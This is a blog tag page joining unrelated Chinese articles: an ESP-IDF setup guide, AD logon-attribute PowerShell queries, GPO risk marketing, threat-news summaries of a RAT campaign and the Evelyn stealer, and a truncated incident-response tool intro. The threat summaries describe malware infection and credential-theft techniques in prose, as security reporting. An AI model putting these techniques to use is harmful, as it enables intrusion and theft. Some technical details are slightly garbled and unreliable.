标签 powershell 下的文章

第四章 开发环境搭建

在上一章中,我们已经初步了解了 ESP32 系列芯片(如 ESP32-P4和 ESP-IDF开发框架的相关知识)。接下来,我们将进入实践部分,逐步搭建适合 ESP32-P4 开发的工作环境。无论您是初学者,还是有一定开发经验,本章节都会帮助您从搭建环境、命令式开发再到IDE集成开发环境搭建,确保顺利开启基于 ESP32-P4 的项目开发。
本章分为如下几个小节:
4.1 搭建ESP-IDF环境
4.2 IDF前端工具
4.3 搭建集成开发环境

4.1 搭建ESP-IDF环境

在前面章节中,笔者已经讲解了ESP32的开发可以在Windows、Linux和Mac系统上进行。本书的开发环境是在Windows平台上搭建的,因此对于Linux和Mac系统的开发环境搭建,读者需要自行查找相关资料。
搭建ESP-IDF环境有两种方式:离线安装和在线安装。在此,笔者强烈推荐使用离线安装包。尽管安装速度可能稍慢,但离线安装能够大幅提高成功率,避免网络问题带来的安装失败风险。相比之下,在线安装包需要稳定的网络连接,如果网络状况不佳,可能会导致安装中断或失败。不过,在线安装的优势在于可以获取最新的ESP-IDF版本,通常适用于芯片发布前的调试阶段。这样,读者可以根据自己的需求选择合适的安装方式。

4.1.1 离线安装ESP-IDF

注意:笔者将 ESP-IDF 安装在 D:\Soft_APP\Espressif 路径下,因此以下示例将基于该路径进行操作说明。
离线安装包可以在 ESP-IDF Windows 安装下载中心(https://dl.espressif.com/dl/esp-idf/)下载,或通过正点原子提供的资料A盘 路径找到。具体路径为:6,软件资料1. 软件1,IDF开发工具esp-idf-tools-setup-offline-5.4.exe,可以获取 v5.4 离线安装包,如下图所示。

图4.1.1.1 下载v5.4离线安装包
注意:本书籍中的所有例程示例均使用此版本的 ESP-IDF。如果使用其他版本编译本书籍中的例程示例时出现错误或效果未能如预期,请务必切换回本书籍推荐的ESP-IDF 版本,以确保所有例程能正常编译和运行。
下载成功后,在安装程序上单击右键选择<以管理员身份运行>运行安装包,如下图所示:

图4.1.1.2 以管理员身份运行安装包
打开安装程序后选择简体中文安装,如下图所示。

图4.1.1.3 选择安装语言
点击“确定”后进入安装许可协议页面,如下图所示。请勾选“我同意此协议”选项,并点击“下一步”。

图4.1.1.4 勾选“我同意此协议”选项
点击下一步后,会跳出安装前系统检查页面,如下图所示。

图4.1.1.5 安装前系统检查
安装程序会检查你当前系统有没有打开“长路径支持”,因为GNU编译器产生的编译文件会有非常深的目录结构,如果不支持长路径,编译可能出现文件不存在,目录不存在等奇怪的错误。这里单击应用修复按钮,可以修复这个问题。在弹出的确认对话框中,选择“是”,开始修复(若上图中的“应用修复”按钮失效,证明系统已经启用长路径功能,我们直接下一步即可)。如下图所示。

图4.1.1.6 启用长路径
如果修复不成功,通常是由于安装软件时未使用管理员权限运行。在这种情况下,可以手动修改注册表来启用长路径支持。具体操作是:按下快捷键“Win + R”打开“运行”对话框,输入“regedit”并按回车进入注册表编辑器。接着,找到HKLM_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\LongPathsEnabled项目,将LongPathsEnabled 的DWORD数值修改为1。这样可以解决长路径问题,确保安装顺利完成。如下图所示。

图4.1.1.7 手动启用长路径
图4.1.1.7 提示修复完成后,点击“下一步”进入配置安装路径,如下图所示。

图4.1.1.8 配置安装路径
安装程序默认的安装位置为 C:\Espressif,但笔者将其安装在 D盘,因为安装过程中可能会占用数十GB的存储空间。因此,建议用户选择其他磁盘分区作为安装路径。注意:安装路径必须为全英文路径,切勿使用任何包含中文字符的路径,否则会导致 ESP-IDF 环境搭建失败。
设置安装路径后,点击 “下一步” 进入 确认安装组件界面。在该界面中,我们选择 “全部安装”,然后再次点击 “下一步”,开始安装ESP-IDF开发环境。
ESP-IDF安装成功后会出现如下图页面。

图4.1.1.9 ESP-IDF安装成功
上图中的选项 1 和 2 用于测试环境安装是否成功,选项 3 则是将 ESP-IDF 工具链加入杀毒软件的排除项,以加快编译速度。我们勾选所有选项后,点击 “Finish” 按钮。此时,桌面会自动弹出两个命令终端图标:“ESP-IDF 5.4 CMD”和“ESP-IDF 5.4 PowerShell”。其中,PowerShell 终端功能更强大,适合执行复杂任务或管理复杂环境的用户;CMD 终端则更适合基础的命令行操作和简单脚本执行。用户可以根据需求和偏好选择使用合适的工具,如下图所示。

图4.1.1.10 PowerShell和CMD终端
上图中,如果两个终端均提示“idf.py build”命令,则初步证明安装成功。在这两个终端下,我们可以采用命令形式进行配置、编译、链接和构建项目,这与在Linux中的开发方式颇为相似。在4.2小节中,将详细讲解ESP-IDF常用的命令。
下图为ESP-IDF安装成功后的文件结构。

图4.1.1.11 espressif工具目录
上图中的文件介绍,笔者已在 3.2 小节中展示过,这里不再详细说明。图中的 frameworks 文件夹保存了我们之前安装的 ESP-IDF 源代码。
为了让系统能够找到和识别ESP-IDF的相关工具和库,从而能够顺利地进行编译、构建和调试ESP32或其他Espressif芯片的项目,我们必须设置ESP-IDF的环境变量,设置方法如下:
按照此过程(此电脑属性高级系统环境变量)打开,如下图所示。

图4.1.1.12 添加IDF_PATH环境变量
如果 ESP-IDF 库安装成功,系统会自动为我们添加 IDF_TOOLS_PATH 和 IDF_COMPONENT_STORAGE_URL 环境变量。安装完成后,系统还会自动安装 Espressif-IDE,这是一款专为乐鑫 SoC 芯片开发的集成开发环境。由于该软件在国内发布时间较短,且国内开发者多倾向于使用 VS Code IDE 进行开发,因此本教程的示例主要基于 VS Code IDE 展开。然而,正点原子也致力于推广 Espressif-IDE,因此我们决定额外编写一份关于 Espressif-IDE 使用的教程,以帮助国内开发者更好地熟悉并使用这一强大的开发工具(请参阅《Espressif-IDE 集成开发环境使用指南》)。
至此,ESP-IDF 离线安装已经完成。接下来,笔者将为大家介绍如何进行 ESP-IDF 的在线安装,有需要的读者请参考接下来的内容。

4.1.2 在线安装ESP-IDF(方法一)

在 VSCode 的 ESP-IDF 插件中,可以通过在线方式安装 ESP-IDF 软件开发库。关于 VSCode 和 ESP-IDF 插件的下载与安装过程,请参考本章节的 4.3 小节。接下来,我们将详细介绍通过 ESP-IDF 插件在线安装 ESP-IDF 软件开发库的具体步骤,流程如下:
1,按下快捷键“F1”或“Ctrl + Shift + P”打开“显示所有命令”界面。然后,在搜索框中输入“Configure ESP-IDF”,并从下拉菜单中选择此选项,进入 ESP-IDF 配置界面,如下图所示。

图4.1.2.1 配置ESP-IDF扩展
回车后,将进入配置 ESP-IDF 插件的界面,如下图所示。

图4.1.2.2 进入ESP-IDF插件配置界面
在上图中,点击 “ADVANCED”选项,然后选择下载服务器和下载版本,如下图所示。

图4.1.2.3 在线安装v5.4版本IDF
2,点击“Configure Tools”选项下载与安装,如下图所示。

图4.1.2.4 ESP-IDF下载与安装
在上图中,完成步骤1至3后,流程顺利运行并成功完成,接下来将进入下图所示的界面。

图4.1.2.5 安装ESP-IDF成功
如上图所示,v5.4版本的ESP-IDF安装已成功完成。此时,您可以在VSCode左下角切换到v5.4版本的ESP-IDF,具体操作如下面的图示所示。

图4.1.2.6 切换IDF版本¬¬¬
3,设置环境变量,如下图所示。

图4.1.2.7 设置IDF环境变量

4.1.3 在线安装ESP-IDF(方法二)

相比离线安装,在线安装 ESP-IDF 更具挑战,主要是因为在线安装依赖于稳定的网络连接,否则可能会导致安装失败。接下来,笔者将手把手教大家如何进行在线安装 ESP-IDF。
首先,我们需要从 GitHub 或 Gitee 平台查找所需的 ESP-IDF 版本。下图展示了在 GitHub 平台上查看 ESP-IDF 分支版本的方法。

图4.1.3.1 查看ESP-IDF版本
在这里,笔者选择了 release/v5.4 分支的 ESP-IDF 版本。接下来,在 Git 终端中输入以下命令,拉取该版本的 ESP-IDF(或者使用国内服务器git clone -b release/v5.4 https://gitee.com/EspressifSystems/esp-idf.git)。

图4.1.3.2 拉取ESP-IDF V5.4版本的源代码
在上图中,笔者将 ESP-IDF 源代码拉取到了 D:\Soft_APP\Espressif\frameworks路径下(离线安装ESP-IDF源代码存储的位置),方便使用多个IDF版本开发。接着,在 Git 终端中输入以下命令,进入 esp-idf 目录。随后,输入以下命令更新 ESP-IDF 源代码中的子模块,如下图所示。

图4.1.3.3 更新子模块
注意:全部子模块必须更新完成,否则在线安装将会失败。在更新子模块的过程中,请确保网络连接稳定,以避免出现中断或错误。
为了让读者避免繁琐的在线SDK下载过程,笔者已经为大家预先下载了v5.4.0和v5.5.0版本的ESP-IDF。您可以在 A盘6 软件资料1 软件4,IDF软件开发工具包目录下找到这两个版本的开发工具包。只需解压缩文件即可免去从GitHub下载的步骤。例如我们将4,IDF软件开发工具包目录下esp-idf_v5.4.0.zip压缩包解压到D:\Soft_APP\ESP_IDF\Espressif\frameworks目录下,该目录是离线IDF成功后生成的目录,它是用来存储IDF软件开发工具包的地方。
然后在ESP-IDF Windows 安装下载中下载网页下下载在线安装工具,用来安装release/v5.4 分支的 ESP-IDF 版本,如下图所示。

图4.1.3.4 下载在线安装工具
以<管理员身份运行>在线安装工具,如下图所示。

图4.1.3.5 运行在线安装工具
进入安装语言页面,这里我们选择“简体中文”,并点击“确定”按钮,如下所示。

图4.1.3.6 选择安装语言
点击“确定”后进入安装许可协议页面,如下图所示。请勾选“我同意此协议”选项,并点击“下一步”。

图4.1.3.7 勾选“我同意此协议”选项
点击下一步后,会跳出安装前系统检查页面,如下图所示。

图4.1.3.8 安装前系统检查
上图中的“应用修复”按钮失效,证明系统已经启用长路径功能,我们直接下一步即可。如下图所示。

图4.1.3.9 下载或使用ESP-IDF
这里我们选择“使用现有的ESP-IDF目录”也就是我们前面下载的release/v5.4版本的Esp-IDF源代码,然后点击“浏览”选项配置ESP-IDF路径。如下图所示。

图4.1.3.10 配置选择现有的ESP-IDF
点击“下一步”进入ESP-IDF Tools工具安装,如下图所示。

图4.1.3.11 ESP-IDF Tools安装路径配置
上图的安装路径与离线安装的Tools路径是一致的。然后点击“下一步”进入选择组件安装页面,如下图所示。

图4.1.3.12 选择安装组件
点击“下一步”按钮,进入准备安装页面,如下图所示。

图4.1.3.13 准备安装
此时,我们点击“安装”按钮,就可以安装release/v5.4版本的ESP-IDF了,如下图所示。

图4.1.3.14 ESP-IDF Tools安装完成
此时点击“完成”按钮,系统自动弹出“ESP-IDF 5.4 CMD”和“ESP-IDF 5.4 PowerShell”终端,如下图所示。

图4.1.3.15 PowerShell和CMD终端
上图中,如果两个终端均提示“idf.py build”命令,则初步证明安装成功。在这两个终端下,我们可以采用命令形式进行配置、编译、链接和构建项目,这与在Linux中的开发方式颇为相似。在4.2小节中,将详细讲解ESP-IDF常用的命令。

4.1.4 安装USB虚拟串口驱动

ESP32-P4的USB串口可以用于程序下载和与ESP监控器的交互。通过USB连接DNESP32P4开发板后,您可以在项目文件夹中执行特定命令,使用像idf.py这样的工具编译并下载程序到开发板上。正点原子的DNESP32P4开发板通过CH343P芯片进行串口信号转换,从而实现与PC的通信。CH343P芯片将ESP32- P4的串口信号转换为USB信号,并通过USB接口连接到PC。
为了在电脑上实现与ESP32-P4的通信,需要安装CH343P芯片的驱动程序。您可以访问沁恒的官方网站(https://www.wch.cn/)下载该驱动程序,或者在6,软件资料1,软件CH343P驱动文件夹下找到CH343P的驱动安装程序,如下图所示。

图4.1.4.1 CH343P驱动安装程序
打开CH343P驱动安装程序后,点击安装程序中的“安装”按钮,若提示“驱动安装成功”,则说明CH343P驱动已经安装成功了,如下图所示。

图4.1.4.2 CH343P驱动安装成功
安装完CH343P驱动后,使用跳线帽将正点原子DNESP32P4开发板的底板P6和核心板P3排针的1&3和2&4接上,如下图所示。

图4.1.4.3 连接USB-UART0
接下来,使用USB线将开发板UART接口与PC的USB端口相连接即可。此时,PC端的设备管理器中查看到CH343P虚拟出的串口,如下图所示。

图4.1.4.4 PC端显示的虚拟串口
从上图可以看出,CH343P虚拟出的串口被PC分配了COM60的端口号。这个端口号用于串口调试助手等上位机确定与之通信的串口端。需要注意的是,当CH343P与不同的PC连接,甚至是与同一台PC的不同USB端口连接后,虚拟出的串口被PC分配到的端口号可能是不同的,例如COM4或COM5。读者可以根据设备管理器中端口设备的名称来判断具体是哪个端口号。如果同时连接了多个CH343P系列的芯片,则需要逐个测试端口号。安装完USB虚拟串口驱动后,就可以使用串口调试助手,如MobaXterm软件,与板卡通过串口进行通信了。

4.1.5 如何在PC系统上的CMD和PowerShell终端运行IDF命令

在PC系统上的CMD和PowerShell终端运行IDF(Espressif IoT Development Framework)命令,主要涉及到配置ESP-IDF环境以及使用相应的命令。以下是在CMD和PowerShell中运行IDF命令的详细步骤:
1,打开IDF CMD终端,并输入“echo %path%”命令获取IDF相关路径

图4.1.5.1 获取IDF相关安装路径
上图中,我们把输出的地址直到红色圈圈为止,进行拷贝到path环境变量当中。
2,打开系统环境变量path,然后使用编辑文本的方式添加这些变量值。

图4.1.5.2 添加环境变量
注意:添加环境变量时候,必须首尾添加“;”逗号以表示添加结束。添加完成后,我们就可以在CMD或者PowerShell终端运行IDF命令了。

引导语:在管理 Active Directory (AD) 时,了解用户的登录时间对于安全审计和账号管理至关重要。然而,AD 中提供了多个相关属性,如 LastLogon、LastLogonTimestamp 和 LastLogonDate,它们的作用和适用场景各不相同。本文将深入剖析它们的区别,帮助您更高效地管理用户登录数据。

简介:Active Directory 维护着多个用户登录时间的属性,包括 LastLogon、LastLogonTimestamp 和 LastLogonDate。虽然它们都与用户登录记录相关,但在同步机制、精确度和适用性上存在显著差异。本文将对这三个属性进行详细对比,帮助 IT 管理员正确理解并合理利用这些信息,以优化安全策略和资源管理。

关键词:Active Directory、LastLogon、LastLogonTimestamp、LastLogonDate、用户登录时间、AD 账户管理、安全审计

什么是Active Directory登录属性?
Active Directory操作中的安全标识符是记录用户授权过程信息的基础参数。它们使管理员能够追踪访问活动并识别潜在问题,例如长期未登录的用户。

举例来说,当企业需要识别已闲置90天的账户时,通常会使用LastLogonTimeStamp属性。而另一方面,在取证调查中则需要依赖LastLogon属性的精确结果——该属性记录了用户在特定域控制器(DC)上的实际登录时间。

什么是LastLogon属性?
LastLogon属性记录了用户在特定域控制器(DC)上的最后一次登录时间。该属性具有非复制特性,意味着每个域控制器都会独立保存其专属记录。虽然它能提供最精确的登录时间数据,但若需获取域内全局信息,必须向所有域控制器发送查询请求。

LastLogon属性的核心优势在于其高精度特性。然而由于该属性未在域控制器之间同步,对于管理大规模环境的管理员而言,这反而成为痛点。例如,若企业部署了五台域控制器,每台控制器都将单独保存用户的LastLogon记录。

使用 PowerShell 查询 LastLogon
要从所有 DC 收集用户的 LastLogon,可以使用 PowerShell。此脚本会获取并汇总数据:
$Username = "john.doe"
$DCs = Get-ADDomainController -Filter *
$LastLogonResults = foreach ($DC in $DCs) {
Get-ADUser -Server $DC.HostName -Identity $Username -Properties LastLogon |
Select-Object @{Name="DomainController";Expression={$DC.HostName}},
@{Name="LastLogon";Expression={[DateTime]::FromFileTime($_.LastLogon)}}
}
$LastLogonResults | Sort-Object LastLogon -Descending
此脚本会查询所有 DC 的用户 LastLogon 属性,返回结果并按日期排序。

什么是LastLogonTimeStamp属性?
LastLogonTimeStamp属性提供域级登录活动视图。与LastLogon不同,该属性会在所有域控制器(DC)间同步更新,因此管理员可通过任意域控制器获取统一数据。但其更新周期较长:属性默认值为0,仅当用户最近一次登录发生在14天或更早前时才会触发更新。

该属性通过更新延迟机制平衡了复制流量与管理实用性。它能便捷追踪闲置账户,为审计工作提供基础支持,但由于更新频率较低,无法用于高精度登录时间追踪。

修改更新频率
管理员可以通过修改 Active Directory 中的 ms-DS-Logon-Time-Sync-Interval 属性来调整默认的 14 天间隔。例如,要将间隔改为 7 天,请使用以下 PowerShell 命令:
Set-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=yourdomain,DC=com" -Partition "CN=Configuration,DC=yourdomain,DC=com" -Add @{msDS-LogonTimeSyncInterval=7}
这种调整允许更频繁地更新,提供相对最新的登录数据,同时仍能最大限度地减少复制流量。

什么是 LastLogonDate 属性?
LastLogonDate 属性是 LastLogonTimeStamp 属性的人性化版本。它以可利用的格式提供相同的信息,由主体根据需要进行解释。

如果管理员需要用户操作的整体信息,而又不需要转换原始时间戳,那么使用 LastLogonTimeStamp 属性是最理想的选择。与 LastLogonTimeStamp 类似,它也会复制到所有其他 DC 上。

使用 PowerShell 获取 LastLogonDate
要检索用户的 LastLogonDate,请执行以下操作:
Get-ADUser -Identity "john.doe" -Properties LastLogonDate | Select-Object Name, LastLogonDate
该命令以简单明了的格式输出用户名及其最后登录日期,有助于快速查看。

追踪登录属性的重要性

  • 识别闲置账户

    • 休眠账户因易被攻击者重新激活而构成重大安全威胁。通过登录属性追踪用户活动,管理员可快速判定并禁用长期未使用的账户。
  • 检测可疑行为

    • 异常登录(如深夜或凌晨时段的系统访问)可能是账户遭劫持的信号。LastLogon等属性详细记录登录会话信息,帮助管理员回溯安全事件的时间线以调查可疑案例。
  • 支持合规审计

    • 《通用数据保护条例》(GDPR)和《健康保险流通与责任法案》(HIPAA)等法规要求严格监控用户访问行为。登录属性作为关键审计证据,是企业维持合规的重要支撑。
  • 简化审计流程

    • LastLogonDate等集中化存储的登录数据大幅简化审计工作。管理员可直观分析访问模式趋势,在提升效率的同时降低审计复杂度。

Lepide如何助力安全运维
Lepide Active Directory审计工具提供全域用户活动实时可视性,支持对安全事件与异常登录的即时响应。通过持续监控认证活动,管理员能在可疑模式或未授权访问发生时即刻介入调查,而非依赖定期审计被动发现问题。其Active Directory清理方案通过识别/禁用休眠账户,有效缩减攻击面,降低未授权访问风险。

除实时威胁检测外,Lepide还提供:

  • 可定制化告警机制:针对特定安全场景(如登录失败、非工作时间访问、异常行为模式)配置触发规则
  • 全景合规支持:详细日志记录与合规报告自动生成功能,完整留存历史数据并构建符合GDPR/HIPAA等标准的审计轨迹

通过部署Lepide解决方案,企业可实现:
✅ Active Directory环境全景洞察
✅ 安全防护体系强化升级
✅ 合规性要求自动化满足
✅ IT运维效率显著提升

立即掌控Active Directory安全态势
[点击预约个性化演示],了解Lepide如何帮助您:

  • 监控全域登录活动
  • 实时检测安全威胁
  • 持续保持合规状态

常见问题
Q. 为什么每次登录后都不更新 LastLogonTimeStamp?
为尽量减少复制流量,LastLogonTimeStamp 更新的频率较低,通常每 14 天更新一次,除非另有配置。
Q. 如何获取用户最准确的最后登录时间?
查询所有域控制器上的 LastLogon 属性,并使用最新的时间戳。
Q. 能否修改 LastLogonTimeStamp 属性的更新频率?
可以,可以通过修改域配置中的 ms-DS-Logon-Time-Sync-Interval 属性来调整更新频率。
Q. 在 Active Directory 中,LastLogonDate 是否默认可用?
是的,LastLogonDate 是一个计算属性,默认情况下可用,它提供了 LastLogonTimeStamp 的人可读格式。

简介
Active Directory中的组策略是企业安全设置、软件部署和操作配置的基石工具。然而,即使是微小的组策略对象(GPO)配置错误——如权限过度开放、安全组分配错误或未监控的变更——都可能引入严重且隐蔽的企业风险。本文将通过具体场景分析GPO错误配置的七大潜在威胁,并提供切实可行的缓解策略,帮助企业建立主动防御体系。
关键词
组策略配置,GPO安全风险,权限提升,勒索软件防护,合规性审计,Active Directory安全,策略冲突管理

一、为什么组策略错误配置是“沉默的杀手锏”?
大规模配置的单点故障
组策略对象管理着整个组织的海量配置,单个错误即可引发大规模安全事件。GPO控制着Active Directory域中超过5000项独立设置——从密码策略到软件限制。一旦配置不当(例如过多人员拥有编辑权限),攻击者就能利用这一漏洞创建域级后门,在组织毫无察觉的情况下获得完全控制。
真实案例:某金融机构因一个权限过宽的GPO配置,导致攻击者通过组策略部署勒索软件,在24小时内加密了超过80%的终端设备。

复杂的策略层级结构
GPO通过域、站点和组织单元(OU)的多级继承进行分发,安全筛选和优先覆盖规则进一步增加了复杂性。策略冲突可能导致意外的权限设置,包括增加安全风险的过度许可配置。那些仍然链接的陈旧或维护不善的GPO,可能在不知不觉中应用过时的设置(如弱审计策略)。
技术挑战:缺乏有效策略查看工具的管理员,往往在正常操作中持续忽略这些问题。

审计与监控的天然盲区
Windows默认审计对GPO变更“视而不见”,未经授权的编辑(如在GPO中插入恶意脚本)可能长期累积而无人察觉。没有实时监控工具,这些变更看起来就像合法管理员的操作,攻击者因此可以潜伏数月甚至数年,直到安全事故或合规审计暴露其存在。

二、不可忽视的七大隐性企业风险
1.勒索软件传播风险加剧
勒索软件攻击依赖于网络中的漏洞,使其能够快速隐秘地传播。
高风险配置场景:

  • SMB/PowerShell策略配置不当:错误的SMB协议设置可能使勒索软件无需黑客额外操作即可在网络中自由传播。过度宽松的PowerShell策略则可能被用于远程执行恶意代码。
  • 安全控制被禁用:在GPO中禁用关键防御(如防火墙规则),相当于为入侵者敞开大门,使其能够悄无声息地传播病毒和勒索软件。
    缓解策略:
  • 实施安全基线GPO:采用微软推荐配置、DISA STIG或CIS等公认安全标准,确保SMB、PowerShell和工作站策略设置安全。
  • 定期GPO安全审查:使用审计监控工具定期检查GPO的错误配置、未授权变更或策略偏移。
  • 监控基线偏离:持续监控环境,及时发现并修复安全基线的任何偏离。

2.意外权限提升
GPO配置不当可能导致系统或用户意外获得更高级别的权限。
典型问题:

  • GPO授予不必要权限:例如“将工作站添加到域”、“调试程序”或授予本地管理员权限,过度分配这些权限增加了滥用风险。
  • 安全筛选配置错误:当GPO错误地应用于非管理用户时,可能意外授予管理级权限,绕过安全检查点。
    缓解策略:
  • 遵循最小权限原则:精确控制GPO授权,确保用户或组仅获得完成工作所必需的权限。
  • 定期审查GPO筛选和权限:通过审计发现过度授权或错误应用的策略。
  • 设置自动化警报:部署监控设备,在GPO权限或安全筛选发生变更时立即通知安全团队。

3.敏感数据暴露
配置不当的访问限制或加密规则可能导致敏感数据无意中暴露。
常见漏洞:

  • 驱动器映射设置错误:错误配置的驱动器映射GPO可能将敏感共享文件夹暴露给未授权用户。
  • 加密策略执行不力:BitLocker或DLP策略配置不当,导致设备丢失或被盗时数据无保护。
    缓解策略:
  • 定期访问审计:重点审计GPO驱动的权限,确保只有授权用户能访问敏感文件。
  • 验证加密策略:确保所有BitLocker和其他加密策略在所有终端上得到一致执行。
  • 使用专业检测工具:利用专用工具持续监控权限,检测错误配置和过度访问权限。

4.合规性违规
企业常在审计时才意识到GPO相关的重大合规风险。
主要违规点:

  • 弱密码策略:违反GDPR、HIPAA、PCI DSS和ISO 27001等法规要求。
  • 审计和日志策略不足:导致用户活动和访问控制监控不足,难以识别内部威胁或数据泄露。
    缓解策略:
  • 对齐GPO基线:确保GPO设置符合或严于相关法规的最低要求。
  • 建立GPO合规仪表板:使用集中监控工具持续评估GPO设置和合规状态。
  • 实施持续监控:定期发现GPO中的未授权或计划外变更,防止策略偏移导致合规缺口。

5.策略冲突导致的业务中断
相互冲突的GPO可能对业务运营造成严重影响。
潜在影响:

  • 关键应用程序中断
  • 必要网络访问被阻止
  • 打印机无法使用
  • 大规模登录失败
    缓解策略:
  • 标准化GPO管理:制定清晰的GPO命名规范,使用版本控制跟踪变更。
  • 实施变更管理环境:严格遵守变更管理流程,GPO修改前必须获得确认。
  • 在预演环境中测试:新修改的GPO必须在类似生产的预演环境中充分测试。
  • 使用报告工具:部署专业报告分析工具,主动识别策略冲突。

6.攻击面扩大
陈旧但仍在使用的GPO可能包含过时的安全设置。
风险示例:

  • 允许使用废弃的加密协议
  • 维持弱密码策略
  • 为不需要的服务授予不必要的权限
    缓解策略:
  • 年度GPO生命周期审查:定期审计所有GPO,确保其符合当前安全策略和业务需求。
  • 维护集中存储库:建立完整的GPO文档化清单,记录策略目的和责任人。
  • 停用无用GPO:主动识别并删除不再具有业务功能的GPO。

7.隐蔽的内部威胁路径
配置不当的GPO可能成为内部威胁的隐蔽通道。
独特挑战:

  • 内部威胁者已具备一定访问权限和知识
  • 非法活动通常不会触发明显警报
  • 可能长期潜伏未被发现
    缓解策略:
  • 强制实施最小权限:严格按角色配置GPO访问权限。
  • 跟踪每项变更:使用GPO变更审计工具记录所有关键修改。
  • 检测访问模式异常:投资部署能够识别异常访问模式的系统,如权限突然提升或意外GPO分配。

三、艾体宝Lepide如何帮助企业保护组策略安全
艾体宝Lepide Active Directory审计解决方案提供全面的实时GPO监控系统,能够:

  • 深度记录每项变更:在复杂的层次结构中精确定位错误配置、权限提升和内部威胁
  • 内置异常检测:自动识别可疑活动模式
  • 合规报告就绪:提供符合GDPR、HIPAA和CIS标准的现成报告
  • 自动化警报:对SMB、PowerShell或加密策略等关键设置的变更即时告警

免费工具推荐:Lepide Change Reporter for Group Policy作为补充工具,将原始日志转换为智能审计数据,通过可视化雷达界面即时展示变更的“谁、什么、何时、何地”,是了解GPO变更情况的理想起点。

结论
组策略错误配置的威胁之所以危险,正因为其隐蔽性和延迟性。企业必须从被动响应转向主动防御,通过持续监控、定期审计和自动化工具,将GPO安全纳入整体安全治理框架。记住:看不见的风险往往是最致命的,而今天在GPO安全上的投资,明天可能就成为阻止灾难的最后防线。

一场针对阿根廷司法系统的高精准鱼叉式钓鱼攻击已悄然出现,攻击者利用人们对合法法院通信的信任,投放危险的远程访问木马(RAT)。
该攻击活动使用看似真实的联邦法院预防性羁押复审文件,诱使法律专业人士下载恶意软件。
安全专家已将此次攻击归类为高度定向攻击,它采用多阶段感染技术,旨在长期获取敏感法律与机构系统的访问权限。
攻击始于收件人收到包含 ZIP 压缩包的邮件,该压缩包伪装成官方司法通知。
压缩包内,攻击者植入了一个伪装成 PDF 的恶意 Windows 快捷方式文件(LNK),同时包含一个批处理脚本加载器和一份看似真实的法院裁决文件。
当受害者点击看似标准的 PDF 文件时,恶意执行链随即启动,同时会显示一份极具迷惑性的诱饵文档以避免引起怀疑。这种社会工程学手法让该攻击在日常处理法院文件的司法人员中格外有效
Seqrite 的分析人员发现了这一攻击活动,并揭露了其复杂的多阶段传播机制。
研究团队发现,该恶意软件专门针对阿根廷法律行业,包括司法机构、法律专业人士以及与司法系统相关的政府部门。
诱饵文档以极高的精度模仿阿根廷联邦法院的真实裁决文件,使用正式的法律西班牙语、规范的案件编号、司法签名,并引用真实机构(如刑事与矫正口头法庭)。
这种高度的细节还原大幅提升了攻击在目标受害者中的成功率

感染机制:从快捷方式到远程访问木马(RAT)的部署

该攻击采用三阶段感染流程,旨在规避检测。恶意 LNK 文件会以隐藏模式启动 PowerShell,绕过执行策略以运行批处理脚本,该脚本连接到托管在 GitHub 上的基础设施。
此脚本会下载第二阶段载荷,该载荷伪装成 “msedge_proxy.exe”,存储在 Microsoft Edge 用户数据目录中以显得合法。
最终载荷是一个基于 Rust 语言开发的远程访问木马(RAT),具备强大的反分析能力。
该 RAT 在执行前会进行全面的环境检查,扫描虚拟机、沙箱和调试工具。如果检测到分析工具,恶意软件会立即终止运行以避免被调查。
一旦成功运行,它会建立加密的命令与控制通信,为攻击者提供包括文件窃取、持久化安装、凭证窃取,甚至通过模块化 DLL 组件部署勒索软件等多种功能。

威胁行为者正将 Visual Studio Code 变为攻击平台,借助其完善的扩展生态系统,向开发者工作站植入多阶段恶意软件
此次最新攻击活动被命名为伊夫林窃取程序,该恶意程序隐匿于一款恶意扩展中,通过数个精心设计的攻击阶段,向目标端投放一款具备隐秘性的信息窃取工具。
攻击者的目标并非普通终端用户,而是开发者群体—— 这类人群往往掌握着源代码、云控制台及加密货币资产的核心访问权限。
攻击从受害者安装一款伪装成实用或无害的植毒 Visual Studio Code 扩展开始,该扩展会在后台释放伪造的 Lightshot.dll 组件,随后这一组件会被正版截图工具 Lightshot.exe 加载运行。
此后恶意软件攻击链逐步展开,不仅会远程获取新的攻击载荷、执行隐藏的 PowerShell 命令,还会为最终实现大规模数据窃取的伊夫林窃取程序可执行文件搭建运行环境。
趋势科技分析师指出,攻击者将用户对Visual Studio Code 应用市场的信任当作可利用的武器,以恶意扩展为载体构建完整攻击链,实现从初始加载器启动到最终数据窃取的全流程攻击。
攻击者通过滥用 Lightshot 这类开发者常用工具,并采用仿签名的导出方式,让攻击第一阶段融入开发者的正常操作流程,同时在后台悄然为后续的入侵环节做准备。

伊夫林窃取程序完全执行后,会从受感染设备中窃取浏览器密码、Cookie、加密货币钱包、即时通讯会话记录、VPN 配置文件、Wi-Fi 密钥及各类敏感文件

同时该程序还会捕获设备截图和详细的系统信息,将所有数据压缩为单个压缩包后,上传至攻击者控制的 FTP 服务器。

对企业而言,仅一台开发者笔记本电脑被感染,就可能导致源代码、云访问令牌及生产环境凭证泄露,让一次工具链的使用疏漏,演变为波及范围广泛的安全入侵事件。

多阶段感染链的技术细节

攻击的第一阶段隐藏在恶意 Visual Studio Code 扩展内,伪装为 Lightshot.dll 文件,每当用户进行截图操作时,该文件就会被 Lightshot.exe 调用执行。
该下载器被触发后,会执行一条隐藏的 PowerShell 命令,从远程域名拉取名为 iknowyou.model 的第二阶段攻击文件,将其另存为 runtime.exe 并运行。
伊夫林窃取程序的攻击载荷会在设备中创建AppData\Evelyn 文件夹,向 Edge 和 Chrome 浏览器注入 abe_decrypt.dll 文件,最终将窃取的数据打包为 ZIP 压缩包,通过 FTP 协议完成上传。

前言

将近三周的时间开发,目标是针对小白都能上手的Windows应急工具,完全基于红队人员攻击思路以及蓝队应急流程开发的Windows应急响应工具,目前V2.0的版本基本上已经ok了没有问题,下面是工具介绍,目前网上基本上没有比这个更好用且更完善的工具,计划是在V3.0计划兼容Winserver2008以下版本,另外加入内存马查杀机制。因为初衷就是想轻量,如果工具过大就违背了这个工具的初衷。

工具授权

目前工具设置需要授权码,计划是三月一次授权。

Cr7crwBXfh2AHVMh/RmH7w==

项目地址

系统支持

  • Windows 10/11 ✅
  • Windows Server 2012/2016/2019/2022 ✅
  • Windows Server 2008 R2 ✅
  • Windows Server 2008 非 R2 ⚠️ 仅支持 Get-EventLog,需升级 PowerShell

工具核心日志处理

// 后门用户迁移4732时间id日志提取
func FetchAndStoreBackdoorUsers(db *sql.DB, startTime, endTime string) error {
	// 动态构建 PowerShell 命令,使用传入的开始和结束时间
